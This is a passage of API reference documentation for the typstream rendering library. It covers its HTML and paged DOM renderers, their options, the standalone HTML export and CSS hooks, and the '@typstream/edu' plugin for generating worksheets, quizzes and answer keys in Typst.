compiled (healed) source, without the preamble; map them to the raw stream with heal's `map.toInput`.
</Callout>

#### `HtmlUpdateOptions`

### HtmlUpdateOptions

Per-update options.

| Prop       | Type                          | Description                                                                                                                                                                                                                                                                                    |
| ---------- | ----------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `animate?` | `boolean \| undefined`        | Fade in new words (while streaming). Default false.                                                                                                                                                                                                                                            |
| `caret?`   | `boolean \| undefined`        | Show a caret after the last text (while streaming). Default false.                                                                                                                                                                                                                             |
| `stable?`  | `number \| null \| undefined` | While streaming, heal's stable offset (`stableOffset`): islands whose block starts at or after it are incomplete. Default: the document is complete. `null` says the stream has ended: the pages, laid out from the first block that changed while it streamed, are then laid out again whole. |

#### `HtmlUpdateResult`

### HtmlUpdateResult

What an update did.

| Prop      | Type     | Description                                |
| --------- | -------- | ------------------------------------------ |
| `blocks`  | `number` | Top-level blocks now shown.                |
| `created` | `number` | Blocks parsed and inserted by this update. |
| `removed` | `number` | Blocks removed by this update.             |
| `ms`      | `number` | Main-thread time of the update, ms.        |

#### Islands (beta)

With `islands` (and `file`, what islands get as `IslandProps.file`), the renderer mounts a render island over each
`typstream-island` marker whose name a plugin declares: an `IslandRenderer` mounts into a host element positioned over
the marker's fallback and returns an `IslandInstance` (`update`, `destroy`). `IslandRenderers` maps names to them;
`mountTypstream` takes the same option. A marker keeps one island while its block is re-created as it streams; one
whose block starts at or after `HtmlUpdateOptions.stable` is incomplete. See [Writing an island](/docs/guides/islands).

### IslandInstance

A mounted island, as its renderer returns it.

| Prop      | Type                           | Description                                                                                     |
| --------- | ------------------------------ | ----------------------------------------------------------------------------------------------- |
| `update`  | `(props: IslandProps) => void` | New props: the marker's data changed, it stopped being incomplete, or the document's files did. |
| `destroy` | `() => void`                   | The marker is gone, or the renderer is disposed: unmount. The host is removed after.            |

#### `AnimateOptions`

Word fade-in settings: `animated` in `TypstreamOptions`, `animation` in `HtmlRendererOptions`. Only blocks whose HTML
changed are touched, and only their new text fades in. Words still fading in when their block changes continue where
they were instead of popping in. Under `prefers-reduced-motion: reduce` nothing animates.

### AnimateOptions

Word fade-in settings.

| Prop            | Type                                                              | Description                                                                                                                                                                                                 |
| --------------- | ----------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `animation?`    | `"blurIn" \| "fadeIn" \| "slideUp" \| (string & {}) \| undefined` | Keyframes: `fadeIn` (default), `blurIn`, `slideUp`, or your own `@keyframes`, whose name must be `typstream-` followed by this value: `"pop"` plays `@keyframes typstream-pop` (add it with `stylesheets`). |
| `duration?`     | `number \| undefined`                                             | Per word, in ms. Default 150.                                                                                                                                                                               |
| `easing?`       | `string \| undefined`                                             | CSS easing. Default `ease`.                                                                                                                                                                                 |
| `stagger?`      | `number \| undefined`                                             | Delay between consecutive words, in ms. Default 40.                                                                                                                                                         |
| `sep?`          | `"char" \| "word" \| undefined`                                   | Animate by `word` (default; CJK characters count as words) or by `char`.                                                                                                                                    |
| `maxBacklogMs?` | `number \| undefined`                                             | How far ahead of wall-clock words may be scheduled, in ms; a fast stream compresses its stagger to fit, down to 4 ms per word. Default 320.                                                                 |

### `htmlRendererCss`

```ts
const htmlRendererCss: string;
```

The HTML renderer's CSS: theme variables, word fade-in, the caret, and Typst's MathML rules. The renderer injects it
(once per document or shadow root, as a constructed stylesheet where supported) unless you pass
`injectStyles: false` to ship it yourself.

### `registerMathFont`

```ts
const registerMathFont: (url: string | URL, doc?: Document) => Promise<void>;
```

Registers New Computer Modern Math as a web font in `doc` (default `document`), for MathML. Without a math font,
browsers can't stretch delimiters. Pass the URL of the engine's copy (from `@typstream/engine-wasm/fonts`) or your
own. It uses the FontFace API, so no `font-src` exception for inline CSS is needed, and it does nothing if the family
is already registered. The `typstream` package does this for you.

### `registerTypstFonts`

```ts
const registerTypstFonts: (fonts: readonly TypstFont[], doc?: Document) => void;
```

Registers Typst's fonts (the engine's, from `@typstream/engine-wasm/fonts`) as web fonts in `doc` (default
`document`), under the names html-compat's CSS asks for, with the layout profile's line box as their ascent and
descent: the HTML target's lines are then as tall as the paged view's, their baselines where Typst puts them. Pass
them as `fonts` to `mountTypstream`, which registers them when it shows an HTML document; the `typstream` package
does this for you. Registering a family twice does nothing.

### TypstFont

A font file to show the HTML target's text in.

| Prop      | Type                                | Description                                         |
| --------- | ----------------------------------- | --------------------------------------------------- |
| `url`     | `string \| URL`                     | Where the file is.                                  |
| `family`  | `string`                            | Its family, as Typst names it (`Libertinus Serif`). |
| `weight?` | `number \| undefined`               | Default 400.                                        |
| `style?`  | `"italic" \| "normal" \| undefined` | Default `normal`.                                   |

### `registerLoadedFont` (beta)

```ts
const registerLoadedFont: (font: LoadedFontFamily, root: Node) => Promise<void>;
```

Shows a family the engine loaded from a font catalogue (an entry of `Engine.fonts`, or a `font` event) in the HTML
target under `root`: it registers the family's files as web fonts in the root's document and adds the rule that gives
the text the engine marked with that family its font, in the root's document or shadow root. `mountTypstream` calls
it for HTML documents; call it yourself when you render with `createHtmlRenderer`. The files come from the HTTP
cache, where the worker's download put them. Like `registerMathFont` it uses the FontFace API, so a strict
Content-Security-Policy needs `connect-src` for the files but no `font-src`.

### `createPagedView`

```ts
const createPagedView: (container: HTMLElement, options?: PagedViewOptions) => PagedView;
```

The paged renderer without a document: it appends a `.typstream-paged` element to `container`; call
`view.render(artifact)` with any paged artifact, complete or changed pages only.

- **Canvas or SVG, per page.** A page that comes as a drawing (`pageFormat: "drawing"`, which `mountPaged` and
  `mountTypstream` ask for) is painted on a `<canvas>`: about a millisecond for a dense page in Chromium and Safari,
  10–15 ms in Firefox, against 12–31 ms for the same page as SVG. A page that comes as SVG goes in a shadow root.
- **Only changed pages are redrawn.** Pages are matched by index and redrawn when their hash changes, so a streamed
  update usually touches the last page. Pages past the new page count are removed.
- **Visible pages first.** Changed pages on screen are drawn at the next frame. Offscreen ones, and every text layer,
  wait for idle time (`requestIdleCallback`, a timer in WebKit), or are drawn as soon as they scroll into view.
  `view.flush()` draws everything now.
- **Canvas pixels.** Canvases are painted at `devicePixelRatio`, again when it changes and after a pinch zoom
  settles, and every page is painted before the browser prints. Only pages near the viewport keep their pixels (8–14
  MB per A4 page at a ratio of 2): a page that scrolls away gives them up a second later, and is painted again when it
  comes back. Offscreen canvas pages need no idle time: they are painted when they come into view.
- **SVG pages: one shadow root each.** Typst's SVG gives glyph definitions ids that repeat on every page. A shadow
  root per page scopes them (in one document, Chromium would re-resolve every glyph on every page whenever one
  changed), and keeps your CSS off the SVG. Their hosts have `content-visibility: auto`.
- **Text layer.** Pages draw glyphs as shapes, so invisible HTML text is laid over each page from the engine's text
  runs. Selection, copy (with line breaks), find-in-page and screen readers use it, and the canvas or SVG is
  `aria-hidden`. Headings, lists and tables in it carry ARIA roles.
- **Links.** Only `http(s)` and `mailto` links keep their `href` (see `isSafeHref`); they open in `linkTarget`. On a
  canvas page they are `<a>` elements over their area (`.typstream-links`). Links within the document stay inert.
  Images load only from `data:` URLs.
- **Islands (beta).** With `islands` (and `plugins`, which declare the names, and `file`), each marker in the
  artifact's `islands` is mounted over its page in a box positioned in `cqw`, like the links, so redrawing a page
  leaves it alone. An island is incomplete while `PagedRenderOptions.stable` (`view.render(artifact, { stable })`) is
  at or before its source. `mountPaged` passes the document's plugins, files and stable offset. See
  [Writing an island](/docs/guides/islands#the-paged-target).
- **Strict CSP.** Styles are added once per document as a constructed stylesheet, and the text layer is positioned
  through the CSSOM, so no `'unsafe-inline'` is needed.

#### `PagedViewOptions`

### PagedViewOptions

Options of createPagedView.

| Prop          | Type                                                    | Description                                                                                                                                                                                                                                                                                                                                          |
| ------------- | ------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `layout?`     | `"fit-width" \| "fixed" \| "reflow" \| undefined`       | `fixed` (default): pages at their authored size, scaled down to fit the container. `fit-width`: the same pages scaled up or down to the container's width, as a PDF viewer's "fit width" shows them. `reflow`: pages fill the container's width with no space between them (use it with mountPaged's reflow layout, which compiles pages that wide). |
| `textLayer?`  | `boolean \| undefined`                                  | Build the selectable text layer. Default true.                                                                                                                                                                                                                                                                                                       |
| `linkTarget?` | `string \| null \| undefined`                           | Where safe links open (`target`); `null` leaves it to the browser. Default `"_blank"`.                                                                                                                                                                                                                                                               |
| `rootMargin?` | `string \| undefined`                                   | How far outside the viewport a page still counts as visible (IntersectionObserver `rootMargin`). Default `"50%"`.                                                                                                                                                                                                                                    |
| `onDraw?`     | `((info: DrawInfo) => void) \| undefined`               | Called after each batch of drawing (telemetry, tests).                                                                                                                                                                                                                                                                                               |
| `islands?`    | `Readonly<Record<string, IslandRenderer>> \| undefined` | Island renderers by name (PLAN §8.4): each island marker in an artifact's `islands` whose name a plugin in `plugins` declares is mounted over its fallback drawing, in a layer over its page.                                                                                                                                                        |
| `plugins?`    | `readonly TypstreamPlugin[] \| undefined`               | The plugins whose `islands` declare which markers mount.                                                                                                                                                                                                                                                                                             |
| `file?`       | `((path: string) => FileContent \| null) \| undefined`  | What islands get as `IslandProps.file`: the document's files. Default: none.                                                                                                                                                                                                                                                                         |

#### `PagedView`

### PagedView

A mounted paged renderer.

| Prop      | Type                                                              | Description                                                                                                                                                                                                                                                         |
| --------- | ----------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `element` | `HTMLElement`                                                     | The element holding the pages (`.typstream-paged`), appended to the container.                                                                                                                                                                                      |
| `render`  | `(artifact: PagedArtifact, options?: PagedRenderOptions) => void` | Shows `artifact`. A complete artifact (`base: null`) or changed pages both work: pages are matched by index and redrawn only when their hash differs. Pages past `pageCount` are removed. The artifact's islands are mounted, moved or unmounted to match its list. |
| `pending` | `number`                                                          | Pages and text layers waiting for idle time or the next frame.                                                                                                                                                                                                      |
| `flush`   | `() => void`                                                      | Draws everything pending now (before printing, in tests).                                                                                                                                                                                                           |
| `destroy` | `() => void`                                                      | Removes the pages and stops all observers and callbacks.                                                                                                                                                                                                            |

#### `PagedRenderOptions`

### PagedRenderOptions

Options of one PagedView.render.

| Prop      | Type                          | Description                                                                                                                                           |
| --------- | ----------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------- |
| `stable?` | `number \| null \| undefined` | While streaming, heal's stable offset (`stableOffset`): islands whose source starts at or after it are incomplete. Default: the document is complete. |

#### `DrawInfo` (beta)

<Callout type="warn" title="Beta">
`DrawInfo` and the `onDraw` option are beta: meant for telemetry and tests, and may change before the first stable
release.
</Callout>

### DrawInfo

One batch of drawing by a PagedView.

| Prop         | Type                           | Description                                                                               |
| ------------ | ------------------------------ | ----------------------------------------------------------------------------------------- |
| `pages`      | `number[]`                     | Zero-based indices of the pages drawn: their SVG put in, or their canvas painted.         |
| `textLayers` | `number[]`                     | Zero-based indices of the pages whose text layer was built.                               |
| `ms`         | `number`                       | Main-thread time of the batch, in ms (style, layout and paint follow later).              |
| `when`       | `"flush" \| "frame" \| "idle"` | `frame`: visible pages at the next frame; `idle`: in idle time; `flush`: PagedView.flush. |

### `mountPaged`

```ts
const mountPaged: (container: HTMLElement, doc: EngineDocument, options?: MountPagedOptions) => MountedPaged;
```

Renders an engine document as pages in `container` and keeps them up to date. It switches the document to the paged
target, and asks for pages as drawings for canvases (`renderer: "svg"` asks for SVG). Use it when you drive the document yourself rather than through `mountTypstream`:

```ts
import { mountPaged } from "@typstream/dom";
import { createEngine, engineWorker } from "@typstream/engine";

const engine = createEngine({ spawn: engineWorker() });
const doc = engine.open({ target: "paged" });
const { destroy } = mountPaged(document.querySelector("#preview")!, doc);

for await (const chunk of llmStream) doc.push(chunk);
doc.finish();
```

With `layout: "fit-width"`, the document's pages are scaled to the container's width. With `layout: "reflow"`, it
compiles pages as wide as the container through `sys.inputs`, and recompiles after a resize once resizing pauses
(`resizeDebounce`); meanwhile the old pages scale. Open the document with `REFLOW_PREAMBLE` in its preamble for that
to work.

#### `MountPagedOptions`

### MountPagedOptions

Options of mountPaged.

| Prop              | Type                                                    | Description                                                                                                                                                                                                                                                                                                                                          |
| ----------------- | ------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `renderer?`       | `"canvas" \| "svg" \| undefined`                        | `canvas` (default): pages come as drawings and are painted on canvases, a millisecond or two per streamed update where SVG pages take 12–31 ms (#14); pages the engine can't draw (gradients, tilings, colour glyphs) still come as SVG. `svg`: every page as SVG in the DOM, vector at any zoom.                                                    |
| `pageHeight?`     | `"a4" \| "auto" \| undefined`                           | Page height in the reflow layout: `"a4"` (default) keeps A4's proportions at the container's width, so long documents still have pages and only the changed ones are sent; `"auto"` makes one page as tall as the content (every update then redraws the whole document: for short ones).                                                            |
| `inputs?`         | `Record<string, string> \| undefined`                   | The document's other `sys.inputs`; reflow adds its own to them.                                                                                                                                                                                                                                                                                      |
| `resizeDebounce?` | `number \| undefined`                                   | Reflow: wait this long after the container's width last changed before recompiling (ms). Default 150.                                                                                                                                                                                                                                                |
| `layout?`         | `"fit-width" \| "fixed" \| "reflow" \| undefined`       | `fixed` (default): pages at their authored size, scaled down to fit the container. `fit-width`: the same pages scaled up or down to the container's width, as a PDF viewer's "fit width" shows them. `reflow`: pages fill the container's width with no space between them (use it with mountPaged's reflow layout, which compiles pages that wide). |
| `textLayer?`      | `boolean \| undefined`                                  | Build the selectable text layer. Default true.                                                                                                                                                                                                                                                                                                       |
| `linkTarget?`     | `string \| null \| undefined`                           | Where safe links open (`target`); `null` leaves it to the browser. Default `"_blank"`.                                                                                                                                                                                                                                                               |
| `rootMargin?`     | `string \| undefined`                                   | How far outside the viewport a page still counts as visible (IntersectionObserver `rootMargin`). Default `"50%"`.                                                                                                                                                                                                                                    |
| `onDraw?`         | `((info: DrawInfo) => void) \| undefined`               | Called after each batch of drawing (telemetry, tests).                                                                                                                                                                                                                                                                                               |
| `islands?`        | `Readonly<Record<string, IslandRenderer>> \| undefined` | Island renderers by name (PLAN §8.4): each island marker in an artifact's `islands` whose name a plugin in `plugins` declares is mounted over its fallback drawing, in a layer over its page.                                                                                                                                                        |
| `plugins?`        | `readonly TypstreamPlugin[] \| undefined`               | The plugins whose `islands` declare which markers mount.                                                                                                                                                                                                                                                                                             |
| `file?`           | `((path: string) => FileContent \| null) \| undefined`  | What islands get as `IslandProps.file`: the document's files. Default: none.                                                                                                                                                                                                                                                                         |

#### `MountedPaged`

### MountedPaged

A paged view mounted on a document.

| Prop      | Type         | Description                                        |
| --------- | ------------ | -------------------------------------------------- |
| `view`    | `PagedView`  | The view the document renders into.                |
| `destroy` | `() => void` | Stops following the document and removes the view. |

### `REFLOW_PREAMBLE`

```ts
const REFLOW_PREAMBLE: string;
```

Typst for a document's preamble that sets the page size from `sys.inputs` in the reflow layout, and does nothing
without those inputs. A document's own `#set page(width: …)` or `paper` comes later and wins: Typst has no rule that
applies after the document, so reflow only sets the default page. `mountTypstream` adds it for you when
`layout` is `"reflow"`.

```ts
const doc = engine.open({ target: "paged", preamble: REFLOW_PREAMBLE });
mountPaged(container, doc, { layout: "reflow" });
```

### `reflowInputs`

```ts
const reflowInputs: (
  widthPx: number,
  pageHeight?: "a4" | "auto",
  inputs?: Record<string, string>,
) => Record<string, string>;
```

The `sys.inputs` that make `REFLOW_PREAMBLE` lay pages out `widthPx` CSS pixels wide, added to `inputs`. With
`pageHeight` `"a4"` (default) pages keep A4's proportions at that width, so long documents still update page by page;
`"auto"` makes one page as tall as the content, for short documents. Widths are rounded to half a point, so subpixel
resizes don't recompile.

### `isSafeHref`

```ts
const isSafeHref: (href: string) => boolean;
```

Whether a link URL from a document may be followed: `http:`, `https:` and `mailto:` only. Relative URLs are refused
too, since a page has no base the document controls. Control characters and whitespace are ignored the way browsers
ignore them, so `java\tscript:` is refused. The paged renderer uses it on every page link.

### `standaloneHtml`

```ts
const standaloneHtml: (html: string, options?: StandaloneHtmlOptions) => string;
```

Makes an HTML export (`EngineDocument.exportHtml()`) a file that opens on its own. It adds:

- the renderer's theme, the plugins' stylesheets and `stylesheets`, inline, and the class `typstream` on `<body>`;
- an optional math font (embedded bytes or a URL);
- a Content-Security-Policy, first in `<head>`, that keeps the document from running scripts or loading anything
  except inline styles and `data:` images and fonts (plus `mathFont`'s origin when it is a URL);
- `dir="rtl"` on `<html>` for a right-to-left language (Typst writes the language but no direction).

It also removes `<meta http-equiv="refresh">`. It is a string transform, so it runs anywhere, including Node.
`MountedTypstream.exportHtml({ pages: false })` calls it with the mount's plugins, stylesheets and theme.

```ts
const file = standaloneHtml(await doc.exportHtml(), { plugins: [htmlCompat], title: "Worksheet" });
const url = URL.createObjectURL(new Blob([file], { type: "text/html" }));
```

#### `StandaloneHtmlOptions`

### StandaloneHtmlOptions

How standaloneHtml builds the file.

| Prop           | Type                                                        | Description                                                                                                                                                                                                                                        |
| -------------- | ----------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `plugins?`     | `readonly TypstreamPlugin[] \| undefined`                   | Plugins whose `stylesheets` are added after the theme (html-compat's, edu's), in the order given.                                                                                                                                                  |
| `stylesheets?` | `readonly string[] \| undefined`                            | CSS added after the theme and the plugins' stylesheets: an app's own.                                                                                                                                                                              |
| `theme?`       | `"auto" \| "dark" \| "light" \| undefined`                  | `light` (default: files get printed and shared), `dark`, or `auto` (follows the reader's system).                                                                                                                                                  |
| `mathFont?`    | `string \| URL \| Uint8Array<ArrayBufferLike> \| undefined` | New Computer Modern Math for MathML, which browsers need to stretch delimiters (PLAN §6.5): the font file's bytes to embed (~0.7 MB as base64), or an absolute URL to load it from. Without it, readers' browsers use their own math font, if any. |
| `fonts?`       | `readonly LoadedFontFamily[] \| undefined`                  | Families loaded from font catalogues (`Engine.fonts`): those the document uses load from their URLs, which the file's policy allows.                                                                                                               |
| `title?`       | `string \| undefined`                                       | The `<title>`, unless the document sets one (`#set document(title: …)`).                                                                                                                                                                           |

### `standalonePages`

```ts
const standalonePages: (html: string, options?: StandalonePagesOptions) => Promise<string>;
```

Makes an HTML export a file laid out as the pages, as the HTML renderer shows them. It lays the export out in
`document`, out of sight and at the pages' size, and writes the result in `standaloneHtml`'s file (its policy, the
plugins' stylesheets, the title) with the renderer's CSS and the Typst fonts the pages use, embedded from
`typstFonts`. The file runs no script: it shows the pages one under the other and prints a page per sheet. It needs a
browser. `MountedTypstream.exportHtml()` calls it unless `pages: false`.

```ts
const file = await standalonePages(await doc.exportHtml({ anchors: true }), { plugins: [htmlCompat], typstFonts });
```

#### `StandalonePagesOptions`

### StandalonePagesOptions

How standalonePages builds the file: StandaloneHtmlOptions, and Typst's fonts.

| Prop           | Type                                                        | Description                                                                                                                                                                                                                                        |
| -------------- | ----------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| `plugins?`     | `readonly TypstreamPlugin[] \| undefined`                   | Plugins whose `stylesheets` are added after the theme (html-compat's, edu's), in the order given.                                                                                                                                                  |
| `stylesheets?` | `readonly string[] \| undefined`                            | CSS added after the theme and the plugins' stylesheets: an app's own.                                                                                                                                                                              |
| `theme?`       | `"auto" \| "dark" \| "light" \| undefined`                  | `light` (default: files get printed and shared), `dark`, or `auto` (follows the reader's system).                                                                                                                                                  |
| `typstFonts?`  | `readonly TypstFont[] \| undefined`                         | Typst's fonts (`registerTypstFonts`; `typstream` passes the engine's): those the pages use are embedded in the file, so it shows them where they aren't installed.                                                                                 |
| `document?`    | `Document \| undefined`                                     | The document to lay the pages out in. Default `document`.                                                                                                                                                                                          |
| `onPages?`     | `((count: number) => void) \| undefined`                    | Called with the number of pages the export was laid out on: what `counter(page).final()` should be, through the input `typstream-page-count` (`MountedTypstream.exportHtml()` compiles again with it).                                             |
| `mathFont?`    | `string \| URL \| Uint8Array<ArrayBufferLike> \| undefined` | New Computer Modern Math for MathML, which browsers need to stretch delimiters (PLAN §6.5): the font file's bytes to embed (~0.7 MB as base64), or an absolute URL to load it from. Without it, readers' browsers use their own math font, if any. |
| `fonts?`       | `readonly LoadedFontFamily[] \| undefined`                  | Families loaded from font catalogues (`Engine.fonts`): those the document uses load from their URLs, which the file's policy allows.                                                                                                               |
| `title?`       | `string \| undefined`                                       | The `<title>`, unless the document sets one (`#set document(title: …)`).                                                                                                                                                                           |

## Class names and CSS variables

Use these to theme the output; [Theming](/docs/guides/theming) has the details.

| Selector | What it is |
| --- | --- |
| `.typstream` | The HTML renderer's root. `data-typstream-theme="light"` or `"dark"` when the theme is forced. |
| `.typstream-caret` | The caret after the last text while streaming (`aria-hidden`). |
| `[data-typstream-src]` | A top-level block's first element; the value is its offset in the compiled source. |
| `[data-typstream-start]` | A top-level block that starts in the source (after a blank line, or a heading). |
| `.typstream-pages` | The HTML renderer's root: its sheets (`.typstream-paged > .typstream-page`), the document over them (`.typstream-flow`), and headers and footers (`.typstream-marginals`). |
| `.typstream-break` | Room the HTML renderer puts where a page ends (`aria-hidden`). |
| `[data-typstream-animate]` | A word fading in. |
| `.typstream-paged` | The paged view, with `data-layout="fixed"`, `"fit-width"` or `"reflow"`. |
| `.typstream-page` | One page, with `data-page` (1-based). |
| `.typstream-text-layer` | A page's invisible, selectable text. |

The HTML renderer's theme reads `--typstream-foreground`, `--typstream-muted`, `--typstream-link`,
`--typstream-highlight` and `--typstream-caret-color`, set with `light-dark()` so the `auto` theme follows the page's
`color-scheme`. `--typstream-caret` replaces the caret character. The renderer sets `--typstream-animation`,
`--typstream-duration` and `--typstream-easing` on its root from `AnimateOptions`.

## See also

- [Vanilla JS](/docs/getting-started/vanilla)
- [Render targets](/docs/concepts/render-targets)
- [Theming](/docs/guides/theming)
- [Exports](/docs/guides/exports)
- [Security](/docs/guides/security)
- [`@typstream/engine`](/docs/reference/engine), which compiles what these renderers show


# @typstream/edu

> The Typst vocabulary for teachers' documents (templates, questions, answers and keys, callouts, rubrics, drawings, chemistry) as a typstream plugin with a prompt kit.

Source: https://typstream.vercel.app/docs/reference/edu

`@typstream/edu` is the vocabulary typstream teaches the model for teachers' documents: worksheets, quizzes, exams,
lesson plans and handouts. It is a Typst package (functions such as `#question`, `#mcq` and `#blank`, and templates)
plus the CSS for its HTML, packaged as a `TypstreamPlugin`, with a prompt catalogue generated from the package's doc
comments. Every function has a page in the [vocabulary](/docs/reference/edu/vocabulary).

## When to use it

Use it when your app writes educational documents. The plugin gives documents the functions without an `#import`, the
prompt kit tells the model how to use them, and answers stay out of the student's copy. If your documents are something
else, leave it out: `typstream` renders plain Typst on its own, and you can write your own plugin the same way (see
[Writing a plugin](/docs/guides/writing-a-plugin)).

## Install

```npm
npm install @typstream/edu
```

## Example

```tsx
import { edu } from "@typstream/edu";
import { Typstream } from "typstream";

<Typstream plugins={[edu]} source={text} isStreaming={isStreaming} />;
// A teacher's copy: the same document with answers shown, recompiled, not re-prompted.
<Typstream plugins={[edu]} source={text} inputs={{ showAnswers: "true" }} />;
```

The plugin mounts the package's files (`eduFiles`) and adds a preamble (`eduPreamble`) that imports every public name,
so documents call `#question` and friends directly. Its stylesheet (`eduCss`) is added to the HTML renderer for you.
The model writes a document like this one (tick **Show answers** to see the teacher's copy):

```typst
#show: worksheet.with(title: [Adding Fractions], subject: [Mathematics], grade: [Grade 5])

#question(points: 2)[$1/2 + 1/4 =$ #blank(answer: $3/4$)]
#question(points: 1)[
  Which is largest?
  #mcq([$1/2$], [$2/3$], [$3/5$], answer: 2)
]
#question(points: 2)[
  Explain how you compare fractions.
  #answer-lines(count: 2, answer: [Rewrite them with a common denominator.])
]
#callout(kind: "tip")[Find a common denominator first.]
#answer-key()
```

[Edu documents](/docs/guides/edu-documents) builds a complete worksheet app around it.

## Vocabulary

Every function works in the paged and the HTML target. The [vocabulary](/docs/reference/edu/vocabulary) has each one's
signature, parameters and a live example.

| Kind | Functions |
| --- | --- |
| Templates (`#show: name.with(…)`) | [`worksheet`](/docs/reference/edu/vocabulary#worksheet), [`quiz`](/docs/reference/edu/vocabulary#quiz) (adds the total points), [`exam`](/docs/reference/edu/vocabulary#exam) (duration, total, instructions box, running header), [`lesson-plan`](/docs/reference/edu/vocabulary#lesson-plan) (details table), [`handout`](/docs/reference/edu/vocabulary#handout) |
| Questions | [`question`](/docs/reference/edu/vocabulary#question) (numbered through the document), [`mcq`](/docs/reference/edu/vocabulary#mcq), [`true-false`](/docs/reference/edu/vocabulary#true-false), [`matching`](/docs/reference/edu/vocabulary#matching) (give the correct pairs; edu shuffles the right column and works out the key) |
| Answer spaces | [`blank`](/docs/reference/edu/vocabulary#blank), [`answer-lines`](/docs/reference/edu/vocabulary#answer-lines), [`answer-space`](/docs/reference/edu/vocabulary#answer-space) |
| Answers | [`answer`](/docs/reference/edu/vocabulary#answer) (worked solutions), [`answer-key`](/docs/reference/edu/vocabulary#answer-key) |
| Teaching content | [`callout`](/docs/reference/edu/vocabulary#callout) (note, tip, warning, definition, example, remember), [`instructions`](/docs/reference/edu/vocabulary#instructions), [`learning-objectives`](/docs/reference/edu/vocabulary#learning-objectives), [`rubric`](/docs/reference/edu/vocabulary#rubric), [`student-info`](/docs/reference/edu/vocabulary#student-info) |
| Drawings | [`number-line`](/docs/reference/edu/vocabulary#number-line), [`graph-paper`](/docs/reference/edu/vocabulary#graph-paper), [`coordinate-plane`](/docs/reference/edu/vocabulary#coordinate-plane) (native shapes; inline SVG with an `aria-label` in HTML) |
| Chemistry | [`ce`](/docs/reference/edu/vocabulary#ce): `#ce("2H2 + O2 -> 2H2O")`, an mhchem-like subset (subscripts, coefficients, charges, states, hydrates, arrows) written as math, so HTML gets MathML |

## Answers

Answers are part of the document: `answer:` on `blank`, `mcq`, `true-false`, `answer-lines` and `answer-space`,
`#answer[…]` for worked solutions, and `#answer-key()` to list them all. They appear only when the input `showAnswers`
(`SHOW_ANSWERS_INPUT`) is `"true"`: written in place in red, the correct option in bold, and listed by `answer-key()`
under their question numbers. Otherwise they produce no output in either target, so a student's copy can't leak them.
The answer key itself appears only in the teacher's copy.

To switch copies, set the input and recompile. The model isn't asked again:

```tsx
<Typstream plugins={[edu]} source={text} inputs={{ [SHOW_ANSWERS_INPUT]: showAnswers ? "true" : "false" }} />
```

## Streaming

edu is written for text that arrives a few characters at a time. Every parameter has a default, and arguments cut
mid-stream are accepted: `(2` heals to the number `2`, and `5em` arrives as `5` first. A half-written call renders
instead of failing the compile.

## Languages

Labels, option letters, the points word and callout titles come in English, Arabic and Bengali, picked by the
document's language. Pass `lang: "ar"` or `lang: "bn"` to the template. In Arabic, edu's HTML gets `dir="rtl"`. The
Arabic and Bengali wording is a first draft that still needs review by native speakers. See
[Fonts and languages](/docs/guides/fonts-and-languages) for the script fonts.

```typst
#show: quiz.with(title: [الكسور], lang: "ar")
```

## Using it with plain Typst

The package needs no typstream. In typstream it is a local package: the plugin mounts its files under
`@typstream/edu:0.1.0/…` (`EDU_ROOT`), which the engine roots at that package, so nothing is fetched and it needs no
package allowlist entry. With the `typst` CLI, put its `typst/` directory where Typst looks for that package, import it
the same way, and pass `--package-path`:

```bash
mkdir -p packages/typstream/edu
cp -r node_modules/@typstream/edu/typst packages/typstream/edu/0.1.0
typst compile --package-path packages --input showAnswers=true main.typ
```

```typst title="main.typ"
#import "@typstream/edu:0.1.0": *
#show: worksheet.with(title: [Adding Fractions])
```

On the server, pass `eduPreamble` and `eduFiles` to `@typstream/node`:

```ts
import { eduFiles, eduPreamble } from "@typstream/edu";
import { render } from "@typstream/node";

const pdf = await render(source, "pdf", { preamble: eduPreamble, files: eduFiles, inputs: { showAnswers: "true" } });
```

## API

| Export | What it is |
| --- | --- |
| [`edu`](#edu) | The plugin: files, preamble, templates, prompt kit and stylesheet. |
| [`eduCss`](#educss) | Styles for the HTML edu's functions write. |
| [`eduFiles`](#edufiles) | The package's Typst sources, keyed by their engine path. |
| [`eduPreamble`](#edupreamble) | Typst that imports every public name. |
| [`EDU_ROOT`, `EDU_VERSION`](#edu_root-and-edu_version) | `"@typstream/edu:0.1.0"` and `"0.1.0"`. |
| [`SHOW_ANSWERS_INPUT`](#show_answers_input) | `"showAnswers"`. |
| [`eduTemplates`](#edutemplates) | The templates as `TemplateSpec`s, for the `template` option. |
| [`eduCatalogue`](#educatalogue) | One entry per public function and template, from the doc comments. |
| [`eduExamples`](#eduexamples) | Whole documents for few-shot prompts. |
| [`eduPromptRules`](#edupromptrules) | How to write documents with edu, for the system prompt. |
| [`buildSystemPrompt`](#buildsystemprompt) (beta) | The system prompt for the plugins' vocabulary. |
| [`typstPromptRules`](#typstpromptrules) (beta) | Typst habits models get wrong whatever the vocabulary. |

### edu

```ts
const edu: TypstreamPlugin;
```

edu as a typstream plugin, with key `"edu"` and version `EDU_VERSION`. Its facets:

| Facet | Value |
| --- | --- |
| `engine.files` | `eduFiles` |
| `engine.preamble` | `eduPreamble` |
| `templates` | `eduTemplates` |
| `prompt` | `{ catalogue: eduCatalogue, rules: eduPromptRules, examples: eduExamples }` |
| `stylesheets` | `[eduCss]` |

Pass it in `plugins` to `<Typstream>`, `mountTypstream` or `engine.open`, and to `buildSystemPrompt`. See
[Plugins](/docs/concepts/plugins).

### eduCss

```ts
const eduCss: string;
```

Styles for the HTML edu's functions write. Rules are scoped to the renderer's root (class `typstream`) with zero
specificity, so your own rules win, and they follow the renderer's theme variables, so dark mode works. Without them the
HTML keeps its content and structure but loses answer lines and boxes. The plugin's `stylesheets` facet carries it, so
the HTML renderer and standalone HTML exports include it; you only need it directly when you render edu's HTML
yourself.

### eduFiles

```ts
const eduFiles: Readonly<Record<string, string>>;
```
